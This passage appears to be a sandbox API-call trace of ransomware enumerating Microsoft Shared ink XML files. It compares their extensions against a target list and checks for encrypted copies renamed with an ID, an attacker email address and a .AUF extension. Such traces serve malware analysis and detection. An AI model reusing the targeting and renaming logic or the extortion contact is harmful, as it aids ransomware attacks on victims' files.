(lpString=".bz2") returned 4 [0206.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".7z") returned 3 [0206.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.329] lstrlenW (lpString=".dbf") returned 4 [0206.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.329] lstrlenW (lpString=".1cd") returned 4 [0206.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.329] lstrlenW (lpString=".jpg") returned 4 [0206.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.329] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0206.329] lstrlenW (lpString="numbase.xml") returned 11 [0206.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0206.329] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1218) returned 1 [0206.329] CloseHandle (hObject=0x1a8) returned 1 [0206.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0206.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.329] lstrlenW (lpString=".doc") returned 4 [0206.329] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.329] lstrlenW (lpString=".docx") returned 5 [0206.329] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0206.329] lstrlenW (lpString=".pdf") returned 4 [0206.329] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.329] lstrlenW (lpString=".xls") returned 4 [0206.329] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.329] lstrlenW (lpString=".xlsx") returned 5 [0206.329] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0206.329] lstrlenW (lpString=".ppt") returned 4 [0206.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".zip") returned 4 [0206.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.330] lstrlenW (lpString=".rar") returned 4 [0206.330] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".bz2") returned 4 [0206.330] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".7z") returned 3 [0206.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".dbf") returned 4 [0206.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".1cd") returned 4 [0206.330] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".jpg") returned 4 [0206.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".doc") returned 4 [0206.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".docx") returned 5 [0206.330] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0206.330] lstrlenW (lpString=".pdf") returned 4 [0206.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".xls") returned 4 [0206.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".xlsx") returned 5 [0206.330] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0206.330] lstrlenW (lpString=".ppt") returned 4 [0206.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".zip") returned 4 [0206.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.330] lstrlenW (lpString=".rar") returned 4 [0206.330] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".bz2") returned 4 [0206.330] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString=".7z") returned 3 [0206.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".dbf") returned 4 [0206.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".1cd") returned 4 [0206.330] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0206.330] lstrlenW (lpString=".jpg") returned 4 [0206.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.331] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0206.331] lstrlenW (lpString="numbers.xml") returned 11 [0206.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.021] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=209) returned 1 [0208.021] CloseHandle (hObject=0x194) returned 1 [0208.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0208.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.021] lstrlenW (lpString=".doc") returned 4 [0208.021] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.021] lstrlenW (lpString=".docx") returned 5 [0208.021] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0208.021] lstrlenW (lpString=".pdf") returned 4 [0208.021] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.021] lstrlenW (lpString=".xls") returned 4 [0208.021] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.021] lstrlenW (lpString=".xlsx") returned 5 [0208.021] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0208.021] lstrlenW (lpString=".ppt") returned 4 [0208.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".zip") returned 4 [0208.022] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.022] lstrlenW (lpString=".rar") returned 4 [0208.022] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".bz2") returned 4 [0208.022] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".7z") returned 3 [0208.022] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".dbf") returned 4 [0208.022] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".1cd") returned 4 [0208.022] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".jpg") returned 4 [0208.022] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".doc") returned 4 [0208.022] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".docx") returned 5 [0208.022] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0208.022] lstrlenW (lpString=".pdf") returned 4 [0208.022] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".xls") returned 4 [0208.022] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".xlsx") returned 5 [0208.022] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0208.022] lstrlenW (lpString=".ppt") returned 4 [0208.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".zip") returned 4 [0208.022] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.022] lstrlenW (lpString=".rar") returned 4 [0208.022] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".bz2") returned 4 [0208.022] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString=".7z") returned 3 [0208.022] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".dbf") returned 4 [0208.022] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".1cd") returned 4 [0208.022] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0208.022] lstrlenW (lpString=".jpg") returned 4 [0208.023] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.023] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0208.023] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0208.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.023] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1437) returned 1 [0208.023] CloseHandle (hObject=0x194) returned 1 [0208.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0208.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.023] lstrlenW (lpString=".doc") returned 4 [0208.023] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.023] lstrlenW (lpString=".docx") returned 5 [0208.023] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0208.023] lstrlenW (lpString=".pdf") returned 4 [0208.023] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.023] lstrlenW (lpString=".xls") returned 4 [0208.023] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.023] lstrlenW (lpString=".xlsx") returned 5 [0208.023] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0208.023] lstrlenW (lpString=".ppt") returned 4 [0208.023] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.023] lstrlenW (lpString=".zip") returned 4 [0208.023] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.023] lstrlenW (lpString=".rar") returned 4 [0208.023] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.023] lstrlenW (lpString=".bz2") returned 4 [0208.023] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString=".7z") returned 3 [0208.024] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".dbf") returned 4 [0208.024] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".1cd") returned 4 [0208.024] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".jpg") returned 4 [0208.024] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".doc") returned 4 [0208.024] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString=".docx") returned 5 [0208.024] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0208.024] lstrlenW (lpString=".pdf") returned 4 [0208.024] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString=".xls") returned 4 [0208.024] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString=".xlsx") returned 5 [0208.024] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0208.024] lstrlenW (lpString=".ppt") returned 4 [0208.024] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".zip") returned 4 [0208.024] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.024] lstrlenW (lpString=".rar") returned 4 [0208.024] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString=".bz2") returned 4 [0208.024] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString=".7z") returned 3 [0208.024] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".dbf") returned 4 [0208.024] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".1cd") returned 4 [0208.024] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0208.024] lstrlenW (lpString=".jpg") returned 4 [0208.024] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.024] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0208.024] lstrlenW (lpString="osknumpad.xml") returned 13 [0208.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.529] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=219) returned 1 [0208.529] CloseHandle (hObject=0x194) returned 1 [0208.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0208.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString=".doc") returned 4 [0208.530] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString=".docx") returned 5 [0208.530] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0208.530] lstrlenW (lpString=".pdf") returned 4 [0208.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString=".xls") returned 4 [0208.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString=".xlsx") returned 5 [0208.530] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0208.530] lstrlenW (lpString=".ppt") returned 4 [0208.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString=".zip") returned 4 [0208.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.530] lstrlenW (lpString=".rar") returned 4 [0208.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString=".bz2") returned 4 [0208.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString=".7z") returned 3 [0208.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString=".dbf") returned 4 [0208.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString=".1cd") returned 4 [0208.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString=".jpg") returned 4 [0208.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.530] lstrlenW (lpString=".doc") returned 4 [0208.530] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.530] lstrlenW (lpString=".docx") returned 5 [0208.530] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0208.531] lstrlenW (lpString=".pdf") returned 4 [0208.531] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString=".xls") returned 4 [0208.531] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString=".xlsx") returned 5 [0208.531] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0208.531] lstrlenW (lpString=".ppt") returned 4 [0208.531] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.531] lstrlenW (lpString=".zip") returned 4 [0208.531] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.531] lstrlenW (lpString=".rar") returned 4 [0208.531] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString=".bz2") returned 4 [0208.531] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString=".7z") returned 3 [0208.531] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.531] lstrlenW (lpString=".dbf") returned 4 [0208.531] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.531] lstrlenW (lpString=".1cd") returned 4 [0208.531] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0208.531] lstrlenW (lpString=".jpg") returned 4 [0208.531] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.531] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0208.531] lstrlenW (lpString="oskpredbase.xml") returned 15 [0208.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.532] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=924) returned 1 [0208.532] CloseHandle (hObject=0x194) returned 1 [0208.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0208.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 